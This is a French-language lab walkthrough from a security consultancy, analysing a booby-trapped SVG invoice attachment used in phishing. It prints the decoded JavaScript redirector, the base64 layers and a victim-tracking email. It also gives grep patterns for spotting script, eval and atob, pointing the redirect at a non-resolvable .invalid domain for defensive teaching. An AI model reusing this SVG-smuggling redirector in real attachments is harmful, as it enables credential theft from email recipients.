Synapse Consulting
Home SynapseRM / TPRM Services Pricing About BlogCareersLabsContact
EN · FR
Test access Book a demo

Phishing · SVG smuggling · Désobfuscation · MITRE T1027.017

Caché dans une image : analyse d'une pièce jointe SVG piégée

Un SVG arrive dans une boîte mail, signalé par la passerelle. Le SVG est un format d'image, mais il peut embarquer du HTML et du JavaScript. Prouvez-le : trouvez le script, retirez deux couches d'obfuscation, et récupérez la redirection de phishing et l'identifiant de victime dissimulé.

~45 minDurée estimée
éditeur de texte · base64 · CyberChefOutils
T1027.017 · T1566.001 · T1598MITRE ATT&CK
★★☆☆ IntermédiairePhishingDésobfuscation

L'échantillon

Fichiernorthsea-invoice.svg
SHA-256015847e0727863515d6e2064f1860db69afee186b12b20ebed7a69416483ca8c
Taille1 472 octets, SVG 1.1 (XML)
ContextePièce jointe signalée par la passerelle mail, envoyée à North Sea Digital

Zip sans mot de passe. N'ouvrez PAS le SVG dans un navigateur (le script s'exécuterait). Analysez-le dans un éditeur de texte, en VM isolée.

1. Scénario

Les pièces jointes SVG malveillantes ont bondi de 245 % début 2025 : un SVG est traité comme une image par la plupart des filtres, alors que le format peut embarquer un <script> complet. Ouvert dans un navigateur, il exécute du JavaScript qui redirige silencieusement la victime vers une page de vol d'identifiants.

Vous recevez une telle pièce jointe. Votre mission : l'analyser en statique, désobfusquer la charge, et extraire les indicateurs, sans jamais l'exécuter.

⚠️ Ne double-cliquez pas. Ouvrir le SVG dans un navigateur exécute le script. Ouvrez-le dans un éditeur de texte ou en ligne de commande, en VM isolée.

2. Objectifs

3. Analyse pas à pas

1

Triage et identification

file · grep

Un SVG est du XML. Le drapeau rouge : une image qui porte un <script>. Ne l'ouvrez jamais dans un navigateur ; greppez le texte brut.

bash
file northsea-invoice.svg
grep -Eo '<script|eval|atob|location\.href' northsea-invoice.svg
output
northsea-invoice.svg: SVG Scalable Vector Graphics image
<script
eval
atob
atob
location.href

🚩 Un <script> plus eval(atob()) dans une image est la signature du SVG smuggling (MITRE T1027.017). Une image légitime ne fait jamais ça.

2

Désobfusquer la couche externe

base64 · CyberChef

Le script cache sa logique dans un unique blob base64 affecté à _p et exécuté via eval(atob(_p)). Extrayez le blob et décodez-le.

bash
grep -oE 'var _p = "[A-Za-z0-9+/=]+"' northsea-invoice.svg \
  | sed -E 's/.*"(.*)"/\1/' | base64 -d ; echo
output, decoded inner JS
(function(){var u=atob('aHR0cHM6Ly9zZWN1cmUtZG9jLXZpZXcuZXhhbXBsZS5pbnZhbGlkL3ZlcmlmeT9zZXNzaW9uPQ==');var t=atob('ai5kb2VAbm9ydGhzZWEuZXhhbXBsZQ==');window.location.href=u+encodeURIComponent(t);})();
🔬 Ouvrir la recette CyberChef, From Base64

💡 La routine décodée ne contient pas l'URL en clair non plus : elle reconstruit la destination via deux atob(). Encore une couche.

3

Décoder la couche interne

base64

La routine interne assemble la destination à partir de deux chaînes base64 : la base de redirection et l'identifiant de victime.

bash
echo 'aHR0cHM6Ly9zZWN1cmUtZG9jLXZpZXcuZXhhbXBsZS5pbnZhbGlkL3ZlcmlmeT9zZXNzaW9uPQ==' | base64 -d ; echo
echo 'ai5kb2VAbm9ydGhzZWEuZXhhbXBsZQ==' | base64 -d ; echo
output
https://secure-doc-view.example.invalid/verify?session=
j.doe@northsea.example

🔑 L'email de la victime est encodé en base64 dans le fichier. Les attaquants font ça pour pré-remplir le formulaire de phishing et tracer précisément qui a cliqué. Une autre victime reçoit un autre SVG.

4

Assembler et conclure

synthèse

En assemblant les couches, on obtient la redirection finale que le navigateur aurait suivie :

SVG <script>From Base64 (externe)JS interneFrom Base64 (atob x2)URL phishing + victime
final redirect
https://secure-doc-view.example.invalid/verify?session=j.doe%40northsea.example

✅ C'est un redirecteur de vol d'identifiants. L'URL pointe vers une page de vérification factice ; l'email de victime ajouté pré-remplit et trace la cible. La destination est ici un domaine .invalid non résoluble, l'échantillon est donc sans danger à étudier.

4. Synthèse des IOCs

TypeValeurSource
TechniqueSVG smuggling, <script> embarquéMITRE T1027.017
Obfuscationeval(atob()) externe + atob() x2 interneanalyse statique
Hôte de redirectionsecure-doc-view.example.invalid (défangé)couche 2 décodée
Traceur de victimej.doe@northsea.example (base64)couche 2 décodée
Livraisonpièce jointe email (le SVG passe les filtres image)passerelle mail

5. Détection et contre-mesures

6. Références

MITRE T1027.017, SVG smuggling

La technique : fichiers obfusqués cachant du code dans des images SVG.

SVG phishing, Securelist (Kaspersky)

Comment les SVG à HTML/JS embarqué servent dans les campagnes de phishing.

+245 % de SVG malveillants, KnowBe4

La flambée 2025 des pièces jointes SVG obfusquant des charges de phishing.

CyberChef, GCHQ

From Base64, Magic et autres recettes pour retirer les couches d'obfuscation.

Environnement entièrement fictif, à usage éducatif uniquement. La cible de redirection est un domaine .invalid non résoluble.

Synapse Consulting

A Belgium-based provider of cybersecurity solutions, and the team behind SynapseRM / TPRM.

PLATFORM
SynapseRM / TPRM Pricing Test accessPresentation (PDF)
SERVICES
Governance Operational Training
COMPANY
About Contact Blog Labs Careers Privacy & cookies
Brussels, Belgium